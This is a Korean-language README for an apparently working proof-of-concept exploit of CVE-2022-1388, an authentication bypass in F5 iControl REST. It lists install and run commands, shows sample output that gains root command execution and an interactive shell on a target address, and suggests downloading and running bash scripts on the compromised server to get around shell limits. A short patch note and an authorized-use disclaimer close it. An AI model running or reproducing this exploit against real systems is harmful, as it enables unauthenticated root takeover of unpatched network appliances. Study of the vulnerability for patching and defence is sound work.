
대화형 셸이 포함된 CVE-2022-1388용 개선된 PoC(개념 증명)
여러 F5 제품에 영향을 미치는 CVE-2022-1388용 개선된 POC입니다.
이 도구는 CVE-2022-1388에 대한 Horizon3의 Proof of Concept을 개선한 버전입니다: https://github.com/horizon3ai/CVE-2022-1388
이 버전에는 여러 가지 개선 사항과 원격 명령 실행을 위한 대화형 셸이 포함되어 있습니다.
취약점에 대한 Horizon3의 기술적 근본 원인 분석은 해당 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
이 취약점을 악용하기 위한 요청의 필요 조건:
git clone https://github.com/PsychoSec2/CVE-2022-1388-POC.git
cd ./CVE-2022-1388-POC
pip3 install -r requirements.txt
python3 ./CVE-2022-1388.py -h
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -t
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Use -s option to run an interactive shell.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -s
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
역방향 TCP 연결이나 리스너를 사용할 필요가 없습니다.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -h
Usage: CVE-2022-1388.py [options]
Options:
-h, --help Show this help message.
-u URL, --url=URL The IP address of the target.
-t, --test Test target for CVE-2022-1388.
-s, --shell Run an interactive shell.
패치되지 않은 시스템에서 대화형 셸을 실행할 때 특정 명령과 구문이 작동하지 않거나 예상한 결과를 주지 못할 수 있습니다. 이는 서버 API 요청 및 응답에서 JSON을 사용하기 때문일 가능성이 높습니다. 문제를 피하려면 대화형 셸 사용 시 콜론, 쉼표, 중괄호, 대괄호 그리고 특히 따옴표와 같이 JSON 구문에서 흔히 사용되는 단일 문자를 사용하지 않도록 하세요. 명령 내의 모든 JSON 구문은 형식에 맞게 구성되어야 합니다.
명령 내에 구조화되지 않은 JSON 구문을 사용하면 서버에 잘못된 형식의 API 요청이 전송되어 명령 출력이 없거나, 아무것도 실행되지 않거나, python 스크립트에서 완전히 빠져나올 수도 있습니다. 이로 인해 안타깝게도 일부 명령을 사용할 수 없게 됩니다. 이 문제를 해결하려면 bash 스크립트를 작성하여 서버에 다운로드한 다음 대화형 셸을 사용해 실행하면 됩니다. 또한 'cd' 명령을 사용하여 디렉터리를 변경하는 것은 불가능합니다.
어쨌든 기본적인 명령 출력은 여전히 얻을 수 있을 것입니다. 명령 출력이 없더라도 명령이 실행되지 않았다는 뜻은 아닙니다. 다만 그 여부는 직접 분석을 통해 확인해야 합니다.
최신 버전으로 업데이트하거나 F5 보안 권고의 지침에 따라 완화 조치를 수행하세요.
이 소프트웨어는 순전히 학술 연구와 효과적인 방어 기법 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하도록 의도되지 않았습니다. 프로젝트 유지 관리자는 이 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하세요.